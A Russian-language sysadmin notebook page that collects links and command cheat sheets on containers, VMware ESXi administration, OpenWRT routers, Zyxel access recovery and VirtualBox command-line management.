Установка и настройка OpenVZ на Centos 6
АйТи бубен OpenVZ


Ansible
Настройка LEMP-сервера с помощью Ansible для простых проектов. Часть первая: знакомство с Ansible
Настройка LEMP-сервера с помощью Ansible для простых проектов: практический курс. Часть первая
Как создавать образы Docker с помощью Ansible в Ubuntu 20.04
https://github.com/ZeroBot-Dot/Build-Docker-Images-with-Ansible


Kubernetes
https://kubernetes.io/
https://kubernetes.io/ru/docs/home/
https://kubernetes.io/docs/setup/minikube/
https://microk8s.io/#quick-start
Kubernetes
Учебник Kubernetes
Основы Kubernetes
Kubernetes: разбираемся с системой управления контейнерами
Быстрое введение в Kubernetes
Поднимаем кластер Kubernetes из одной ноды под Linux
Kubernetes на голом железе за 10 минут
Установка Kubernetes в Unix/Linux
Kubernetes на голом железе за 10 минут
Разворачиваем Kubernetes на десктопе за несколько минут с MicroK8s
Минимально жизнеспособный Kubernetes
Полноценный Kubernetes с нуля на Raspberry Pi
Разворачиваем среду для работы с микросервисами. Часть 1 установка Kubernetes HA на bare metal (Debian)

PuppetConf 2016. Kubernetes для сисадминов. Часть 1
PuppetConf 2016. Kubernetes для сисадминов. Часть 2
PuppetConf 2016. Kubernetes для сисадминов. Часть 3

DEVOXX UK. Kubernetes в продакшене: Blue/Green deployment, автомасштабирование и автоматизация развертывания. Часть 1
DEVOXX UK. Kubernetes в продакшене: Blue/Green deployment, автомасштабирование и автоматизация развертывания. Часть 2

Как эффективнее использовать kubectl: подробное руководство


AWS и Terraform
Установка AWS CLI в Unix/Linux
Установка terraform в Unix/Linux
Работа с AWS ELB через командную строку в Unix/Linux
Работа с AWS S3 через командную строку в Unix/Linux
Работа с AWS EC2 через командную строку в Unix/Linux
Работа с AWS IAM через командную строку в Unix/Linux
Восстановить EC2 данных с AWS snapshot-а

Работа с AWS IAM и Terraform в Unix/Linux
Работа с AWS VPC и Terraform в Unix/Linux
Работа с AWS S3 и Terraform в Unix/Linux
Работа с AWS EC2 и Terraform в Unix/Linux
Работа с AWS ASG(auto scaling group) и Terraform в Unix/Linux
Работа с AWS ELB и Terraform в Unix/Linux
Работа с AWS Route53 и Terraform в Unix/Linux
Работа с AWS RDS и Terraform в Unix/Linux
Работа с AWS SNS и Terraform в Unix/Linux
Работа с AWS SQS и Terraform в Unix/Linux
Работа с AWS KMS и Terraform в Unix/Linux
Работа с AWS NLB и Terraform в Unix/Linux
Работа с AWS CloudWatch и Terraform в Unix/Linux
Работа с AWS ALB и Terraform в Unix/Linux
Работа с AWS MQ broker и Terraform в Unix/Linux
Работа с AWS EFS и Terraform в Unix/Linux


Nomad
https://www.nomadproject.io/
https://github.com/hashicorp/nomad
Начало работы с Nomad

https://podman.io/
https://buildah.io/

Docker

LXC
http://help.ubuntu.ru/wiki/руководство_по_ubuntu_server/виртуализация/lxc
https://linuxcontainers.org/ru/lxc/
https://ivirt-it.ru/tag/lxc/
https://ivirt-it.ru/lxc-linux-containers-tutorial/
LXC 1.0.
LXD 2.0.
LXC – шпаргалка по командам (утилитам)
Введение в систему управления контейнерами LXC
Контейнеризация при помощи LXC
Туториал по контейнеризации при помощи LXC
LXC для разработчика
Linux-контейнеры дома: зачем и как
Установка и настройка LXC на Debian 8
Создание LXC-контейнеров с общей файловой базой
Установка и настройка LXC в CentOS 7
Установка и настройка LXC на Centos7
Установка и настройка lxc контейнеров на Centos 7
Работа с LXC-контейнерами в Ubuntu Linux
Как настроить непривилегированный контейнер LXC без перезагрузки?
Запуск Docker в LXC 2

LXC Web Panel improved for lxc

Первый контейнер.
http://vasilisc.com/lxc-1-0-first-ubuntu-container
Предположим, что вы так или иначе используете последнюю версию LXC, хотелось бы верить что применяя пакеты deb.

Создаём контейнер p1, используя шаблон ubuntu и такую же архитектуру и версию как и хост. Использование "-- --help" выведет список всех доступных опций.
sudo lxc-create -t ubuntu -n p1

Запуск контейнера в фоне.
sudo lxc-start -n p1 -d

Вход в контейнер одним из различных путей:

Присоединение к консоли контейнера (ctrl-a + q для отсоединения)
sudo lxc-console -n p1
Запуск bash напрямую в контейнере, минуя логин. Требуется ядро >= 3.8.
sudo lxc-attach -n p1
SSH в контейнер. Логин ubuntu, пароль ubuntu.
sudo lxc-info -n p1
ssh ubuntu@IP-из-lxc-info

Остановка контейнера одним из различных путей:

Остановка контейнера из самого контейнера.
sudo poweroff
Корректная остановка контейнера из хоста.
sudo lxc-stop -n p1
Грубое убийство контейнера из хоста.
sudo lxc-stop -n p1 -k
Вот и готов первый контейнер. Как и обещано, в Ubuntu - всё просто! Ядра обладают поддержкой всего что нужно для LXC и контейнер использует bridge и DHCP по умолчанию


эмуляторы
https://www.winehq.org/
http://www.kegel.com/wine/winetricks
https://www.codeweavers.com/products/
https://www.playonlinux.com/en/
http://etersoft.ru/products/wine
------------------------------------------------------------------------
https://anbox.io/
https://www.darlinghq.org/
------------------------------------------------------------------------
https://www.cygwin.com/
https://babun.github.io/
http://mingw.org/
https://sourceforge.net/p/mingw-w64/wiki2/MSYS/
http://mingw-w64.org/doku.php
https://www.msys2.org/
https://github.com/msys2
http://gnuwin32.sourceforge.net/
https://blogs.msdn.microsoft.com/wsl/
https://github.com/microsoft/WSL
https://code.google.com/archive/p/microemu/downloads

Установка MinGW/MSYS и настройка окружения для разработчика
Устанавливаем эмулятор Android 7.1 под Kali Linux
Запуск Java-приложений для телефона в Ubuntu
j2me в ubuntu

разное
Сеть однородных линуксов [reoser]
Микрооблако. Второй шаг. Создание виртуальной сети
Загрузка Linux с VHD на компьютере с UEFI
Проект VBEMP 9x Универсальный VESA/VBE Видеодрайвер (для архитектуры Windows 9x)

VMware

Apr. 29th, 2018 03:30 pm



VMware
http://www.vmware.com/resources/compatibility/search.php
https://www.v-front.de/p/esxi-customizer.html
Download VMware vSphere Hypervisor (ESXi)
ESXi Embedded Host Client
https://flings.vmware.com/
https://softwareupdate.vmware.com/cds/vmw-desktop/ws/

ликбез
https://www.stseprounof.org/category/deploying-servers/vcenter_server/
http://www.delphiplus.org/administrirovanie-vmware-vsphere/index.html
Как установить гипервизор ESXi. Часть 1.
Как настроить гипервизор ESXi. Часть 2. Управляющая сеть.
Как добавить сетевой адаптер к виртуальному коммутатору vSphere
Загрузка и установка vSphere Client. Как настроить гипервизор ESXi. Часть 3.
Что такое рабочий стол vSphere Client. Экскурсия с картинками.
Как создать виртуальный коммутатор vSphere
Как настроить службу времени гипервизора ESXi. Как настроить гипервизор ESXi. Часть 4
Как добавить лицензию ESXi. Как настроить гипервизор ESXi. Часть 5
Как добавить пользователя ESXi. Как настроить гипервизор ESXi. Часть 6
Как подключить NAS к гипервизору ESXi
Как создать виртуальную среду VMware vSphere.
Как создать виртуальную машину VMware vSphere
Как установить операционную систему на виртуальную машину VMware vSphere
Как сделать gateway сервер (шлюз) на Linux для центра обработки данных
Как настроить gateway сервер (шлюз) на Linux для VMware vSphere датацентра
Promiscuous mode
Vmware настройка сети Esxi.

https://techexpert.tips/ru/category/vmware-ru/
------------------------------------------------------------------------
vmware.com Решено: Виртуальный Fortinet с тегами VLAN
Пример конфигурации тегов VLAN виртуальной машины Windows (режим VGT) в ESX (1004252)
Настройка режима виртуальной гостевой метки VLAN (VGT) на распределенном коммутаторе vNetwork (1010733)
Конфигурация VLAN на виртуальных коммутаторах, физических коммутаторах и виртуальных машинах (1003806)
------------------------------------------------------------------------
VMware настройка сети
Vmware ESXi 6 - Настройка Магистральные (Cisco Коммутатор)
Как работают виртуальные сети VLAN на хостах VMware ESX / ESXi
Магистраль между Vmware ESXi и коммутатором Cisco
------------------------------------------------------------------------
Обновление VMware vSphere Hypervisor ESXi 5.x до 6.0
VMware: обновляемся с ESXi 4.1 до ESXi 5.0
Upgrade Free VMware ESXi 4.0 to ESXi 5.0
Установка лицензии на esxi (VMware Evaluation Notice)
как установить бесплатную лицензию VMware на VMware ESXi
Upgrading Datastores From VMFS3 to VMFS5
Установка VMware ESXi 5.5 на USB-накопитель. Часть 2. Установка
https://bga68.livejournal.com/tag/vmware
Несколько полезностей при работе с VMware vCenter Server Appliance (vCSA).
Как перенести физическую машину в виртуальную среду для подключения к Virtualization Station, используя VMware vCenter Converter?
Перенос физического сервера Windows на виртуальную машину VMware
Заметки и рекомендации по переносу физических серверов в виртуальную среду VMware vSphere (P2V) с помощью vCenter Converter Standalone 5.0.
Конвертирование или миграция физических серверов на VMware ESXi через VMware Converter Standalone
Как виртуализовать физический сервер с помощью VMware vCenter Converter Standalone 5.x.x
Ошибка an error occurred during reconfiguration при конвертировании физического сервера в виртуальный
Как перенести в облако систему с физического сервера либо из другой виртуализации (Hyper-V)
Extrasphere - бесплатный vMotion для виртуальных машин на бесплатных VMware ESXi.
обновленная версия Extrasphere 2.0 - новые возможности.
Бэкап VM ESXi средствами Bareos
Транкинг VLAN на виртуальном Swicth для VMware ESXi
Пример конфигурации тегов VLAN виртуальной машины (режим VGT) в ESX

Как пользоваться командной строкой в VMWare ESXi?
VMware vSphere, ESX Всякие полезности из командной строки.
подключение-флешки-к-хосту-esxi
Интеграция драйверов в установочные образы ESXi

Рутокен не работает на ESXi

VMware Host Client HTML5
встроенный хост-клиент HTML5 для ESXi
Мал золотник, да дорог: в двух словах о VMware Host Client
Обходной путь ESXi 5.x или ESXi 6.0 (обновленный с ESXi 5.x):
Шаг 1 - SSH к вашему хосту ESXi и откройте следующий файл конфигурации:

/etc/vmware/rhttpproxy/endpoints.conf

Шаг 2 - Удалите следующую строку и сохраните изменения

/ui local 8308 redirect allow

Шаг 3. Перезапустите обратный прокси-сервер, выполнив следующую команду:

/etc/init.d/rhttpproxy restart

Шаг 4. Откройте браузер по следующему URL-адресу: https://[ESXI-HOST]/ui/ и обратите внимание на дополнительный завершающий «слеш» в конце URL-адреса. Это обязательно, иначе страница клиента Embedded Host не будет загружена должным образом.

cd /tmp
wget http://download3.vmware.com/software/vmw-tools/esxui/esxui-offline-bundle-5.x-10692217.zip
esxcli software vib install -d /tmp/esxui-offline-bundle-5.x-10692217.zip -f

vi /etc/vmware/rhttpproxy/endpoints.conf
Operation not permitted

cp /etc/vmware/rhttpproxy/endpoints.conf /etc/vmware/rhttpproxy/endpoints.conf-old
cp /etc/vmware/rhttpproxy/endpoints.conf /tmp
ls -l /tmp/endpoints.conf
chmod +w /tmp/endpoints.conf
cp /tmp/endpoints.conf /etc/vmware/rhttpproxy/endpoints.conf
chmod -w /etc/vmware/rhttpproxy/endpoints.conf
/etc/init.d/rhttpproxy restart


Работа с VMware через командную строку

vSphere CLI
VMware vSphere, ESX Всякие полезности из командной строки.

http://winitpro.ru/index.php/2018/04/18/poleznye-komandy-vmware-esxi/
esxcli esxcli command list - список команд
vim-cmd vmsvc - список команд работы с вирт.машиной
esxcli system version get — узнать версию (номер) инсталлированной версии VMware ESXi

1. Работа с esxi-хостом:
Команда reboot перезагружает esxi-хост.
Команда poweroff выключает esxi-хост.
Команда esxcli system version get выведет номер установленной версии VMware ESXi.
Команда esxcli hardware pci list | more выведет полную информацию обо всех установленных PCI устройствах.
Команда lspci выведет краткую информацию обо всех установленных PCI устройствах.
Команда esxtop — top для vmware esxi ( быстрые клавиши для переключения дисплея: c:cpu, i:interrupt, m:memory, n:network, d:disk adapter, u:disk device, v:disk VM, p:power mgmt)
Команда vmkerrcode -l — расшифровка кодов ошибок.
Команда esxcfg-nics -l — информация о сетевых карточках.
Команда esxcfg-vswitch -l — информация о виртуальных коммутаторах.
Команда dcui — работа с консолью сервера через ssh сессию.
Команда chkconfig -l — статус работы демонов.
Команда esxcli hardware memory get — вывод информации об количестве установленной памяти.
Команда esxcli software vib list — список установленных vib-пакетов.
Команда esxcli network ip connection list — состояние активных соединений (аналог netstat).
Команда esxcli storage vmfs extent list — информация о томах VMFS, подключенных к хосту.
Команда esxcli hardware clock (get/set) — Получение/установка времени esxi-хоста.

esxcli system welcomemsg set — Получить текст и изменить приветственное сообщение ESXi
esxcli system settings advanced list | grep smth — Поискать что-нибудь в Advanced Settings хоста
esxcli hardware bootdevice list — Порядок загрузки с устройств
esxcli iscsi adapter discovery rediscover — Сканирование iSCSI-адаптеров
esxcli storage core adapter rescan [-A | -all] — Рескан iSCSI

2. Работа с виртуальными машинами:
vim-cmd vmsvc/getallvms — вывод информации обо всех ВМ на данной машине (Vmid, Name, File, Guest OS, Version, Annotation)
vim-cmd vmsvc/power.getstate 1 — включена/выключена ВМ с Vmid 1.
vim-cmd vmsvc/power.on 1 — включить ВМ с Vmid 1.
vim-cmd vmsvc/power.off 1 — выключить (по питанию) ВМ с Vmid 1.
vim-cmd vmsvc/power.reset 1 — перезагрузка (аналогично нажатию клавиши RESET на реальном сервере) ВМ с Vmid 1.
vim-cmd vmsvc/power.shutdown 1 — корректное выключение ВМ с Vmid 1. Действует только, если установлены VMware Tools.
vim-cmd vmsvc/power.reboot 1 — перезагрузка ВМ с Vmid 1. Действует только, если установлены VMware Tools.
vim-cmd vmsvc/get.summary 1 — получение полной информации о ВМ с Vmid 1.
vim-cmd vmsvc/get.summary 1 | egrep ‘(name|power|ip)’ — получение отфильтрованной информации о ВМ с Vmid 1. Выводится имя, состояние питания, IP-адрес.
esxcli vm process list — получить список ВМ с их World ID
esxcli vm process kill —type=[soft,hard,force] —world-id=WorldID — убиваем разными способами ВМ с нужным WorldID (помогает от зависших и не отвечающих в vSphere Client ВМ)

vim-cmd vmsvc/power.getstate статус питания виртуальной машины с указанным ID. Увидеть список ВМ и их ID вы можете при помощи команды;
vim-cmd vmsvc/getallvms — Выключить питание виртуальной машины;
vim-cmd vmsvc/power.off vmid — Включить питание виртуальной машины;
vim-cmd vmsvc/power.on vmid — Перезагрузить виртуальную машину;
vim-cmd vmsvc/power.reboot vmid — Удалить файлы виртуальной машины;
vim-cmd vmsvc/destroy vmid — Удалить файлы виртуальной машины;
vim-cmd vmsvc/power.shutdown — Выключение виртуальной машины (shutdown guest);
vim-cmd vmsvc/power.reset — Перезагрузка виртуальной машины;
vim-cmd vmsvc/get.summary — Общая информация о виртуальной машине;
vim-cmd solo/registervm /vmfs/vol/datastore/dir/vm.vmx — Подключить виртуальную машину;
vim-cmd vmsvc/unregister vmid — Убрать виртуальную машину из гипервизора;
vim-cmd vmsvc/tools.install vmid — Установка vmware tools;
vim-cmd hostsvc/net/info — информация о сети гипервизора;
vim-cmd hostsvc/maintenance_mode_enter — Переключить хост в режим обслуживания;
vim-cmd hostsvc/maintenance_mode_exit — Выйти из режима обслуживания;
chkconfig -l — Показать службы запущенные на гипервизоре;
esxtop — Список процессов;
vmkerrcode -l — посмотреть vmkernel ошибки;
esxcfg-info — Посмотреть информацию о хосте;
esxcfg-nics -l — Посмотреть информацию о сетевых адаптерах;
esxcfg-vswitch -l — Посмотреть информацию о виртуальных сетевых адаптерах;
dcui — Стартовая консоль ESXI по ssh;
vsish — Vmware интерактивная консоль;
cat /etc/chkconfig.db — посмотреть состояние сервисов на хосте;
/sbin/services.sh restart — перезагрузить все сервисы на хосте;
vmkload_mod --list — Показать загруженные драйвера;
vmkload_mod -s /mod/your_driver — Показать параметры драйверов;
vmkfstools -i /vmfs/volumes/san_vmfs/my_vm/large_disk.vmdk -d thin /vmfs/volumes/san_vmfs/my_vm/new_thin_disk.vmdk — Конвертировать существующий диск в thin формат;

авария, сеть, доступ
Через локальное БИОС-подобное меню также можно открыть доступ к локальной командной строке, пройдите Troubleshooting Options ^ Enable Local Tech Support. После нажатия Enter название пункта меню должно поменяться на Disable Local Tech Support - это значит, что локальная командная строка включена, а этим пунктом ее можно отключить обратно.

Так или иначе разрешив доступ к локальной командной строке, нажмите Alt+F1 и авторизуйтесь.
esxcfg-nics -l — Посмотреть информацию о сетевых адаптерах;
esxcfg-vswitch -l — Посмотреть информацию о виртуальных сетевых адаптерах;
esxcfg-vswitch -U vmnic0 vSwitch0 - отключения сетевого адаптера из виртуального свитча
esxcfg-vswitch -L vmnic0 vSwitch0 - подключение сетевого адаптера к виртуальному свитчу

выполните команду, чтобы увидеть текущее назначение псевдонимов местоположениям устройства:
localcli --plugin-dir /usr/lib/vmware/esxcli/int/ deviceInternal alias list


How to manage VLANs and virtual switches on ESXi/vSphere
нажмите F2 и получите доступ к консоли ESX (i), чтобы включить понимание архитектуры VLAN . Выберите Настроить управление Netowrk:
Включите маркировку VLAN, указав 4095 в качестве значения:
Укажите IP-адрес для сетевого адаптера управления:
Определите DNS- серверы:
Нажмите Esc и подтвердите:
Теперь ваш ESX (i) знает архитектуру VLAN .


esxcfg-route -l
esxcli network ip netstack list
esxcli network ip interface ipv4 get

начиная с 5.5 можно создать пользовательский сетевой стек (для роутинга)
esxcli network ip netstack add -N “Net2”
проверить
esxcli network ip netstack get -N “Net2”


esxcli network ip interface ipv4 set --interface-name=vmk1 --type=static --ipv4=192.1 68.100.222 --netmask=255.255.255.0 --gateway=192.168.100.1



ESXi Особенности работы:
1) В виртуальных свитчах по-умолчанию запрещена передача VLAN(но возможна QinQ). Для того, чтобы разрешить прохождение VLAN необходимо зайти в Configuration - Networking -> Выбрать нужный свитч и нужную подсеть -> Edit -> General -> VLAN ID -> All(4096).

2)На виртуальных свитчах иногда не проходят vrrp пакеты.Для прохождения выставить в настройках vswitch режим promisc.


ошибки
https://wiert.me/2019/05/06/trying-to-temporarily-lower-the-esxi-acceptance-level-when-installing-vibs/
https://www.virtuallyghetto.com/2015/05/ghettovcb-vib-offline-bundle-for-esxi.html
esxcli software acceptance set --level=CommunitySupported
если пишет ошибку
Unable to set acceptance level of community due to installed VIBs virtuallyGhetto_bootbank_ghettoVCB_1.0.0-0.0.0 having a lower acceptance level.

то ставим с ключом -f
esxcli vib install -v /full/path/to/vghetto-ghettoVCB.vib -f
esxcli software vib install -d /tmp/esxui-offline-bundle-5.x-10692217.zip -f

Скачать https://github.com/lamw/ghettoVCB/raw/master/vghetto-ghettoVCB.vib и поставить его на хосте ESXi в /tmp а затем установить
esxcli software vib install -v /tmp/vghetto-ghettoVCB.vib -a


Чтобы обойти эту проблему и убедиться, что ваши изменения отражены, скопируйте /etc/vmware/rhttpproxy/endpoints.conf во временную папку . Отредактируйте файл, затем скопируйте его обратно в /etc/vmware/rhttpproxy/endpoints.conf .

Manage the Acceptance Levels of Hosts and VIBs
1. убедитесь, что для уровня приема установлено значение VMwareCertified, VMwareAccepted или PartnerSupported
esxcli software acceptance get

2. Если уровень принятия хоста - CommunitySupported, определите, находятся ли какие-либо из VIB на уровне CommunitySupported, выполнив следующие команды.
esxcli software vib list
esxcli software vib get -n vibname

3. Удалите все поддерживаемые Community VIBs, выполнив следующую команду.
esxcli software vib remove --vibname vib

4. Измените уровень принятия хоста одним из следующих способов.
esxcli software acceptance set --level acceptance_level



Для отладки kernel panic по консоли:
1) Остановить машину.
2) Edit settings -> Add -> Serial device -> to file -> создать файл в datastore
3) После kernel panic скачать файл через storage browser.

дрова
https://docs.vmware.com/en/VMware-Tools/10.2/rn/vmware-tools-1025-release-notes.html
https://packages.vmware.com/tools/esx/index.html
https://docs.microsoft.com/ru-ru/windows-server/get-started-19/install-fod-19

для того чтобы скачать просто выполните эту команду:

wget linux-notes.org/wp-content/uploads/scripts/web-host-setup.sh

Нужно открыть сприпт и перед его запуском ознакомится и немного поправить.
сам скрипт



http://linux-notes.org/skript-dlya-ustanovki-veb-servera-na-centos-skachat/

Восстановление доступа HTTP/HTTPS через подключение по SSH
включить web управление:
ssh admin@172.16.2.250
Введите команду: configure terminal
Введите команду: ip http secure-server
Введите команду: write
Введите команду: exit
Откройте браузер и введите IP-адрес устройства

выключить web управление:
System → WWW → HTTPS снять галку с Enable
нажать на Apply

Сброс коммутатора на заводские настройки используя интерфейс командной строки (CLI) Коммутаторы Ethernet icon
erase running-config
write memory

нужные команды:
https://www.manualslib.com/manual/363464/Zyxel-Communications-Zywall-Usg-Cli.html?page=258#manual

если в вебморде заблокировали доступ для всех )
посмотреть
show ip http server secure status
show ip http server status

Router(config)# show ip http server status
active : yes
content-compression : no
port : 80
authentication method: default
admin service control:
No. Zone Address Action
===============================================================================
1 ALL ALL deny
2 LAN2 ALL accept

удалить блокировку
configure terminal
no ip http server table admin rule 1

show logging entries | more


ftp://ftp.zyxel.com/
https://nebula.zyxel.com/




ознакомиться
https://openwrt.org/
https://lede-project.org/
https://librecmc.org/
https://www.dd-wrt.com/site/support/router-database
https://dd-wrt.com/wiki/index.php/Supported_Devices

https://wiki.openwrt.org/start
https://wiki.openwrt.org/doc/uci
Настройка OpenWrt с помощью UCI

Обзор альтернативных прошивок домашних роутеров

https://wiki.openwrt.org/ru/start
Команды операционной системы OpenWRT
Восстановление настроек openwrt в исходное состояние и failsafe mode

OpenWRT — дружба с DIR-300 B5, B6 и B7

Установка OpenWrt в VirtualBox
uzverss первый запуск OpenWRT на QEMU

сервер samba usb внешний hdd торрент радио видео
Миникомпьютер из роутера с OpenWRT: пишем драйвер фреймбуфера
Как сделать портативный ремонтный сервер
OpenWRT, или Что еще можно сделать со своим роутером
OpenWrt + внешний HDD + Transmission + Samba
Установка и настройка samba в openwrt
Одновременное подключение usb-флешки и usb-hdd в openwrt
OpenWRT — Монтируем BtrFS

Видеонаблюдение своими руками с программой motion detection (обнаружение движения) на openwrt (linux)
Подключение веб-камеры в openwrt

OpenWRT — Ретрансляция онлайн-радио

сеть vlan wi-fi
Настройка сети в OpenWRT
Открытие доступа на openwrt из интернета
Настройка WiFi на OpenWRT
dyndns на openwrt подключение в качестве wifi клиента
Быстрый роуминг (802.11r) в WiFi сети на базе Lede (aka OpenWRT)
настройка vlan
OpenWRT(с OpenVPN) на TL-WR740N. Как добавить vlan.

VPN
https://wiki.openwrt.org/doc/howto/vpn.ipsec.basics

Кошерная организация туннелей в OpenWRT

Поднимаем VPN-туннель из мира домой в обход NAT
OpenWRT — OpenVPN и маршрутизация
OpenVPN Client Setup
IPsec Site To Site Using Openswan
Подключение к провайдеру используя L2TP с Dual Access
https://support.aa.net.uk/L2TP_Client:_OpenWRT
https://wiki.strongswan.org/projects/strongswan/wiki/OpenWrtUCI
L2TP Туннель между роутером с OpenWRT и Mikrotik RB951G-2HnD
Настройка L2TP-соединения (провайдер «Гарант», г.Гомель) в OpenWRT
OpenWrt + L2TP Beeline
https://wiki.debian.org/ru/OpenL2TP
Настройка L2TP/IPSec PSK Туннеля под OpenWRT (Linux), настройка клиентов, в частности Windows 7
https://linux.die.net/man/5/ipsec.conf
Быстрая настройка l2tp на openwrt beeline
OpenWRT l2tp
luci-app-ipsec-vpnd
доп репозиторий с ipsec l2tp
Instalacja ipsec/l2tp (strongswan4 + xl2tpd) na OpenWRT działa z Androidem
https://hide.me/en/vpnsetup/ubuntu/ikev2/
Openwrt - openvpn сервер настройка
Как предоставить доступ для всех устройств из локальной сети к VPN

Обход DPI провайдера на роутере с OpenWrt, используя только busybox
Исследуем «Ревизор» Роскомнадзора

ПО пакеты ipk opkg сборка и управление
https://git.openwrt.org/
https://github.com/openwrt/
https://openwrt.org/packages/start
https://downloads.openwrt.org/releases/
https://oldwiki.archive.openwrt.org/doc/devel/feeds

https://openwrt.org/ru/doc/devel/packages # Создание пакетов
OpenWrt build system – Installation
Пошаговая прошивка OpenWRT на роутер TP-LINK TL-WR741ND из Windows
OpenWRT — восстановление прошивки
LEDE — Сборка из исходников
OpenWRT — сборка в Debian 9 «Stretch»
OpenWRT — Сборка из исходников
Сборка OpenWrt/LEDE из исходных кодов 4PDA
Руководство по уменьшению размера прошивки OpenWRT
Менеджер пакетов opkg. Offline инсталляция пакетов в образ корневой файловой системы
Как устанавливать пакеты приложений?
Кросс компиляция прошивки OpenWRT и пакетов на Ubuntu
Компиляция/портирование своей программы под OpenWRT

Управление пакетами с помощью менеджера пакетов Opkg
управление пакетами из консоли осуществляется с помощью менеджера пакетов OPKG, преемник старого менеджера пакетов ipkg.

Данный менеджер пакетов позволяет установливать, обновлять и удалять отдельные программные пакеты, разрешает зависимости между пакетами и выводить список установленного программного обеспечения. Учитывая, что в Dreambox используется именно этот пакетный менеджер, сделал для себя памятку по командам opkg...


usage: opkg [options...] sub-command [arguments...]

Управление пакетами:


    update             Обновление списка пакетов
    upgrade            Обновление установленных пакетов
    install            Установка пакета (пакетов)
    configure          Конфигурирование (сборка) распакованного пакета
    remove             Удаление пакета (пакетов)
    flag               Флажки для пакетов
     =hold|noprune|user|ok|installed|unpacked

Информация о пакетах:


    list                   Список доступных пакетов
    list-installed         Список установленных пакетов
    list-upgradable        Список установленных и доступных для обновления пакетов
    files                  Список файлов, принадлежащих пакету 
    search                 Поиск
    info [pkg|regexp]      Показать всю информацию по пакетам
    status [pkg|regexp]    Показать все статусы пакетов 
    download               Скачивание в текущую директорию
    compare-versions   
                          Сравнение версий с помощью = = 
    print-architecture    Список архитектуры устанавливаемого пакета
    whatdepends [-A]    [pkgname|pat]+
    whatdependsrec [-A] [pkgname|pat]+
    whatprovides [-A]   [pkgname|pat]+
    whatconflicts [-A]  [pkgname|pat]+
    whatreplaces [-A]   [pkgname|pat]+

Опции:


    -A                Запрос всех пакетов - не только тех, что установлены
    -V[]              Уровень вывода
    --verbosity[=]
                       0 - только ошибки
                       1 - нормальный уровень (по умолчанию)
                       2 - информационные сообщения
                       3 - дебаг
                       4 - дебаг (2й уровень)
    -f                Использовать в качестве файла конфигурации opkg
    --conf 
    --cache           Использование кэша пакетов
    -d                Использовать в качестве корневого каталога для
    --dest            установки пакета, обновления или удаления.
    -o                Использовать в качестве корневого каталога для
    --offline-root    автономной установки пакетов.

Принудительные опции:


    --force-depends        Установить/удалить, несмотря на зависимости
    --force-maintainer     Перезапись существующих конфигурационных файлов
    --force-reinstall      Переустановка пакет(ов)
    --force-overwrite      Замена файлов новыми
    --force-downgrade      Откат пакета
    --force-space          Не проверять свободное место
    --noaction             Просто тестирование (никаких действий)
    --download-only        Просто скачивание (никаких действий)
    --nodeps               Не уставнавливать зависимости
    --force-removal-of-dependent-packages
                           Удаление пакета(ов) и всех зависимостей
    --autoremove           Удаление пакета(ов), которые установлены лишь
                           удовлетворения зависимостей
    -t                     Определение tmp-директории
    --tmp-dir              Определение tmp-директории

Примеры использование:


$ opkg list_installed | grep gcc
libgcc1 - 4.3.3-r17.1.6

$ opkg list | wc -l
17698
$ echo 'src/gz angstrom-base httр://www.аngstrom-distribution.org/feеds/unstаble/ipk/glibc/armv7a/
base'  > /etc/opkg/angstrom-base.conf
$ opkg update
...
$ opkg list | wc -l
21755


Mikrotik
Запуск OpenWRT 14.07 на Mikrotik и пример сборки Аsterisk c дополнительным модулем
Common Procedures for Mikrotik RouterBoard Products
OperWRT на MetaROUTER Mikrotik
Виртуальная машина MetaROUTER и запуск OpenWRT на маршрутизаторах Mikrotik
Instalace OpenWRT do Mikrotik RouterBOARD 512
OpenWRT on Mikrotik Routerboard 411/750
GETTING SHELL ON A ROUTERBOARD

OpenWRT em Mikrotik Routerboard 750 (Linux on MIPS AR7xxx/AR9xxx)
https://wiki.openwrt.org/toh/mikrotik/start

Видео
------------------------------------------------------------------------
Вернуть стандартную прошивку роутера вместо OpenWrt
https://www.youtube.com/watch?v=WNTftKOJfAs
https://www.youtube.com/watch?v=Cb-xNex7W38
------------------------------------------------------------------------
Установка и настройка OpenWRT под Beeline на роутер TP-Link TL-WDR4300
https://www.youtube.com/watch?v=wm0ZYj74yrQ
------------------------------------------------------------------------
мост на openwrt для хялявного инета
https://www.youtube.com/watch?v=pCCKR1zJtNw
------------------------------------------------------------------------
Интернет через роутер с Linux (OpenWRT, MR3220)
https://www.youtube.com/watch?v=GuhAGVJDLVQ
------------------------------------------------------------------------
Настройка multiwan на openwrt
объединить два интернет канала от разных провайдеров в один.
https://www.youtube.com/watch?v=oNLss7btnP4
------------------------------------------------------------------------
configure OPENWRT as access point
https://www.youtube.com/watch?v=bG_Tyk6AGaM
------------------------------------------------------------------------

xdg-utils для своей работы использует конфигурационные файлы расположенные в ~/.local/share/applications/. В данной директории есть файл mimeapps.list это список пользовательских типов, в него необходимо внести только одну строку:
Read more... )
https://habrahabr.ru/sandbox/110020/
Оригинал взят у [livejournal.com profile] viking_k в Управление VirtualBox из консоли
Установка VirtualBox

Редактируем список репозитариев:

nano /etc/apt/sources.list

------
# Oracle virtualbox
deb             http://download.virtualbox.org/virtualbox/debian wheezy contrib
------


Устанавливаем:
apt-get update
apt-get install virtualbox
adduser user vboxusers

Устанавлием плагины:
VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-4.1.42-103435a.vbox-extpack

Импорт/Экспорт ВМ

Экспортируем ВМ
vboxmanage export VMNAME --output vmname.ova
Импорируем ВМ
vboxmanage import vmname.ova --vsys 0 --vmname VMNAME2
Клонирование
vboxmanage clonevm VMNAME --name VMNAME2 --register
Переименование
vboxmanage modifyvm VMNAME --name VMNAME2

Создание ВМ
Смотрим список шаблонов ВМ
vboxmanage list ostypes | egrep ^ID
Создаем новую виртуалку:
vboxmanage createvm --name ubuntu1604 --ostype Ubuntu_64 --register
Меняем параметры ВМ — указываем количество памяти и тд:
vboxmanage modifyvm ubuntu1604 --cpus 1 --memory 512 --audio none --usb off --acpi on --boot1 dvd --nic1 nat
Создаем жесткий диск размером 10 Гб (место по дэфолту не преаллоцируется):
vboxmanage createhd --filename /home/eax/virtualbox/ubuntu1604/ubuntu1604.vdi --size 10000
Цепляем созданный жесткий диск к виртуалке:
vboxmanage storagectl ubuntu1604 --name ide-controller --add ide
vboxmanage storageattach ubuntu1604 --storagectl ide-controller \
--port 0 --device 0 --type hdd --medium /home/eax/virtualbox/ubuntu1604/ubuntu1604.vdi
Цепляем к ВМ ISO-образ, с которого будет происходить установка системы:
vboxmanage storageattach ubuntu1604 --storagectl ide-controller \
--port 0 --device 1 --type dvddrive --medium /home/eax/data/iso/ubuntu-16.04.1-server-amd64.iso
Когда диск нам будет не нужен его можно вынуть
